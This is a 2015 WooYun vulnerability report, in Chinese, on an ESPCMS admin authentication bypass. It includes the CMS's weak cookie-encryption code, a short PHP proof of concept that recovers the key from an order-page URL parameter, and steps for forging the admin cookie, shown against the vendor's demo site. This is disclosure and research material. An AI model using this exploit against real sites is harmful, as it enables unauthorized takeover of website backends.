当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098132

漏洞标题:ESPCMS最新版后台登入绕过DEMO测试

相关厂商:易思ESPCMS企业网站管理系统

漏洞作者: roker

提交时间:2015-02-25 09:06

修复时间:2015-06-01 09:00

公开时间:2015-06-01 09:00

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-25: 细节已通知厂商并且等待厂商处理中
2015-03-03: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-04-27: 细节向核心白帽子及相关领域专家公开
2015-05-07: 细节向普通白帽子公开
2015-05-17: 细节向实习白帽子公开
2015-06-01: 细节向公众公开

简要描述:

漏网之鱼,同样是加解密函数,但又与以前不同。

详细说明:

看看加解密函数

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
if (extension_loaded('mcrypt') && $mcrype) {
$result = $this->encryptCookie($string, $key);
} else {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
}
} elseif ($operation == 'DECODE') {
if (extension_loaded('mcrypt') && $mcrype) {
$result = $this->decryptCookie($string, $key);
} else {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
}
return $result;
}


比以前的多了一句话

if (extension_loaded('mcrypt') && $mcrype) {
$result = $this->encryptCookie($string, $key);


如果存在 mcrypt模块且 $mcrype为true,则调用 encryptCookie进行加密,
看到encryptCookie

function encryptCookie($value, $key = '@LFK24s224%@safS3s%1f%') {
if (!$value) {
return false;
}
$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
$crypttext = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, md5($key), $value, MCRYPT_MODE_ECB, $iv);
return trim(base64_encode($crypttext));
}


php自带的 加密函数。。给跪。
在对会员,后台等cookie操作进行 加密时 mcrype都是默认为true的,于是乎以前的 方法不行了。
但是,在 /interface/ordermain.php这个文件中,发现 加密时,竟然设置了mcrype为false。

function in_read() {
............
$payobj = new $plugcode();
$codesn = $this->fun->eccode($plugcode . $read['ordersn'] . $oid, 'ENCODE', db_pscode, FALSE);
$respondArray = array('code' => $plugcode, 'ordersn' => $read['ordersn'], 'oid' => $oid, 'codesn' => $codesn);
$return_url = $this->get_link('paybackurl', $respondArray, admin_LNG, 0, 1);
..........


我们可以 将这个 codesn 用以前的方法还原出 key。
后台检测管理员权限的代码如下

if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl)


用得到的key加密

1|admin|md5(password)|md5(admin_AGENT)|1|1|md5(admin_ClassURL)

这个值,即可登入后台了。(password随意,注意admin_AGENT和admin_ClassURL别写错了。 )
-----------------------------------------------------------------------------------
首先,注册用户,购买个商品,来到查看订单的页面,
审查元素,

1.jpg


return_url=http://demo.ecisp.cn/html/cn/index.php?ac=respond&at=payok&codesn=ls6apsXddYWIjpVlk2eVk5SVkmxiZmpyZ3hoanNsbw&code=alipay&ordersn=ESP-201502240614511702&oid=198

return_url后面的就是我们需要的了。
填入 poc,

$text = "明文"; //得到的字符串中,code,ordersn,oid 依次拼接的值
$cookie = "ls6apsXddYWIjpVlk2eVk5SVkmxiZmpyZ3hoanNsbw"; //cookie
$bincookie = base64_decode($cookie);
for ($j=0; $j < strlen($text); $j++) {
echo chr( ord($bincookie[$j]) - ord($text[$j]) );
}


然后 将得到的key

5b16dd028ac5b2eabab6125A6A88B****


用encryptCookie加密,

2.png


修改 cookie ecisp_admininfo,
即可登入后台

3.png

漏洞证明:

如上所述。

修复方案:

不懂为什么要 FALSE。。而且检测登入 最好也检测一下 password吧,不要太信任用户所传输的数据

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-01 09:00

厂商回复:

最新状态:

暂无